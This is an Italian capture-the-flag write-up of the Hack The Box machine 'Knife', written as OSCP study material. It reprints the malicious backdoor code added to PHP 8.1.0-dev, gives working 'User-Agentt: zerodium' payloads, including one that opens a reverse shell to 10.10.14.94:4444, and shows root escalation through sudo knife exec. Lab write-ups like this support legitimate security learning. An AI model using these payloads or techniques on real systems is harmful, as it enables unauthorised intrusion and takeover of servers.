Knife (HTB) - Writeup

Introduzione

#

Knife è una macchina Hack The Box (HTB) di difficoltà facile, interessante per chi si sta avvicinando al mondo del penetration testing o sta iniziando a preparare la certificazione OSCP.

La macchina è basata su un’applicazione web che utilizza una versione vulnerabile di PHP (8.1.0-dev), affetta da una backdoor nota che consente l’esecuzione di comandi arbitrari da remoto (RCE). Una volta ottenuto l’accesso iniziale al sistema, si possono elevare i propri privilegi abusando di una configurazione sudo permissiva legata al binario knife, eseguibile come root senza password.

Questo articolo fa parte della serie Road to OSCP, il mio diario personale in cui documento il percorso di studio e l’esperienza maturata durante la preparazione alla certificazione OSCP di Offensive Security. Se sei interessato ad altri contenuti simili, ti invito a consultare la sezione dedicata alla serie.

Enumerazione

#

Da una prima scansione nmap è possibile osservare che il server espone solo 2 servizi: SSH e HTTP.

$ nmap -p- --min-rate=1000 -T4 -vv $IP

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Procedendo con una scansione più approfondita, si ottengono informazioni aggiuntive sui servizi esposti dalla macchina:

$ nmap -sC -sV -p22,80 -vv $IP

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjEtN3+WZzlvu54zya9Q+D0d/jwjZT2jYFKwHe0icY7plEWSAqbP+b3ijRL6kv522KEJPHkfXuRwzt5z4CNpyUnqr6nQINn8DU0Iu/UQby+6OiQIleNUCYYaI+1mV0sm4kgmue4oVI1Q3JYOH41efTbGDFHiGSTY1lH3HcAvOFh75dCID0564T078p7ZEIoKRt1l7Yz+GeMZ870Nw13ao0QLPmq2HnpQS34K45zU0lmxIHqiK/IpFJOLfugiQF52Qt6+gX3FOjPgxk8rk81DEwicTrlir2gJiizAOchNPZjbDCnG2UqTapOm292Xg0hCE6H03Ri6GtYs5xVFw/KfGSGb7OJT1jhitbpUxRbyvP+pFy4/8u6Ty91s98bXrCyaEy2lyZh5hm7MN2yRsX+UbrSo98UfMbHkKnePg7/oBhGOOrUb77/DPePGeBF5AT029Xbz90v2iEFfPdcWj8SP/p2Fsn/qdutNQ7cRnNvBVXbNm0CpiNfoHBCBDJ1LR8p8k=
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKC3ouVMPI/5R2Fsr5b0uUQGDrAa6ev8uKKp5x8wdqPXvM1tr4u0GchbVoTX5T/PfJFi9UpeDx/uokU3chqcFc=
|   256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJbkxEqMn++HZ2uEvM0lDZy+TB8B8IAeWRBEu3a34YIb
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La seguente tabella riassume tutte le informazioni utili trovate finora:

80 (TCP) - HTTP

#

Sulla porta 80 è esposto un server web Apache che ospita una semplice pagina web chiamata Emergent Medical Idea:

L’analisi della risposta HTTP del server permette di raccogliere alcune informazioni utili sul target:

• L’header Server rivela che sull’host è installato un web server Apache 2.4.41 (come indicato anche da nmap)
• L’header X-Powered-By rivela che l’applicazione web utilizza la versione 8.1.0-dev di PHP

HTTP/1.1 200 OK
Date: Thu, 19 Mar 2026 07:15:11 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Length: 5815
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Accesso iniziale

#

PHP-8.1.0-dev backdoor

#

Il server utilizza PHP 8.1.0-dev, una versione di sviluppo di PHP rilasciata il 28 Marzo 2021. Approfondendo le ricerche, si scopre che questa specifica versione è stata compromessa a seguito di un attacco al repository Git ufficiale di PHP, durante la quale del codice malevolo è stato introdotto direttamente nel sorgente del linguaggio.

In particolare, sono stati inseriti alcuni commit malevoli che aggiungevano una backdoor nascosta all’interno del codice sorgente di PHP, permettendo l’esecuzione di codice arbitrario tramite richieste HTTP appositamente costruite.

Il comportamento della backdoor è visibile nel seguente blocco di codice:

zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
  (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
  convert_to_string(enc);
  if (strstr(Z_STRVAL_P(enc), "zerodium")) {
    zend_try {
      zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
    } zend_end_try();
  }
}

Analizzando il codice introdotto, si osserva che per innescare la backdoor è necessario includere nella richiesta HTTP l’header User-Agentt (con doppia t finale). Il valore di questo header deve contenere la stringa zerodium, seguita dal codice da eseguire sul sistema target. La funzione zend_eval_string() eseguirà tutto ciò che segue i primi 8 caratteri della stringa, consentendo di iniettare ed eseguire codice PHP arbitrario.

Ad esempio, il seguente payload minimale permette di verificare la vulnerabilità in modo non intrusivo:

User-Agentt: zerodium system("id");

Se il server è vulnerabile, la risposta HTTP conterrà l’output del comando id, confermando la possibilità di eseguire codice arbitrario sul sistema:

Poiché la risposta include effettivamente l’output del comando, è possibile procedere con l’ottenimento di una shell interattiva. Mettendosi in ascolto sulla propria macchina (ad esempio sulla porta 4444), un attaccante può sfruttare questa vulnerabilità per ottenere una reverse shell utilizzando il seguente payload:

User-Agentt: zerodium system("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.94/4444 0>&1'");

Una volta inviata la richiesta, si ottiene una shell come utente non privilegiato sul sistema target:

User flag

#

Dopo aver ottenuto una shell sul target, è buona pratica eseguire un upgrade della shell per renderla più stabile e completamente interattiva. Questo permette, ad esempio, di utilizzare comandi come sudo, sfruttare la navigazione tramite frecce direzionali ed evitare di interrompere accidentalmente la connessione con CTRL+C quando si tenta di terminare un processo in esecuzione:

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
reset
export TERM=xterm
stty rows <n> cols <m>

Navigando il filesystem, si individua il file /home/james/user.txt, che contiene la flag dell’utente:

Privilege escalation

#

Una volta ottenuto l’accesso come james, è fondamentale verificare i privilegi dell’utente tramite sudo:

$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

L’output mostra che l’utente può eseguire il binario /usr/bin/knife come root senza la necessità di inserire la password. Questo rappresenta un potenziale vettore di privilege escalation nel caso in cui il binario consenta l’esecuzione di codice arbitrario mantenendo i privilegi elevati durante l’esecuzione.

knife è uno strumento scritto in Ruby, utilizzato principalmente come client per Chef, che include diverse funzionalità per l’esecuzione di codice Ruby. Tra queste, il comando exec consente di eseguire codice fornito dall’utente.

Poiché questo binario viene eseguito tramite sudo mantenendo i privilegi elevati, un attaccante può sfruttarlo per eseguire codice arbitrario come root e ottenere così una shell con privilegi massimi sul sistema.

Questa configurazione può essere abusata in diversi modi. Ad esempio, durante la risoluzione della macchina, per evitare problemi di escaping di caratteri come ' e ", ho preferito creare un semplice script Ruby che avvia una shell:

#!/usr/bin/env ruby
exec "/bin/bash"

Eseguendo il comando knife exec tramite sudo, lo script viene interpretato e il codice viene eseguito come root, permettendo di ottenere una shell con massimi privilegi sul sistema:

sudo /usr/bin/knife exec shell.rb

Root flag

#

Navigando il filesystem, si individua il file /root/root.txt contenente la flag finale:

Conclusioni

#

Nonostante alcuni utenti possano criticare Knife come poco realistica, la macchina è interessante dal punto di vista didattico, per chi si avvicina al penetration testing o inizia la preparazione della certificazione OSCP.

Concordo con il fatto che in un assessment reale, soprattutto in ambiente di produzione, è praticamente impossibile incontrare un’applicazione web che utilizza una versione di PHP in ramo dev, rilasciata solo per pochi giorni diversi anni fa. Tuttavia, la macchina permette di consolidare concetti fondamentali, tra cui la ricerca di vulnerabilità note ed exploit pubblici e lo sfruttamento di binari con privilegi elevati.

Questa macchina è stata una delle prime che ho risolto su HTB durante la preparazione all’OSCP e la consiglio a chiunque voglia consolidare le competenze di base nel penetration testing o approcciarsi per la prima volta al mondo delle macchine vulnerabili.